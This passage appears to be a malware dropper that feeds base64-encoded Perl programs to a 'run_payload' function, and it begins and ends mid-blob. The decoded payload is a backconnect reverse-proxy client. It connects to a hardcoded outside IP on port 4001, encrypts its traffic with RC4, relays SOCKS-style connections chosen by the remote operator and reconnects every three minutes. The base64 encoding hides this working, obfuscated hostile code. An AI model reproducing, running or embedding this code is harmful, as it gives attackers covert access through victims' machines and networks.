SksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_3.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS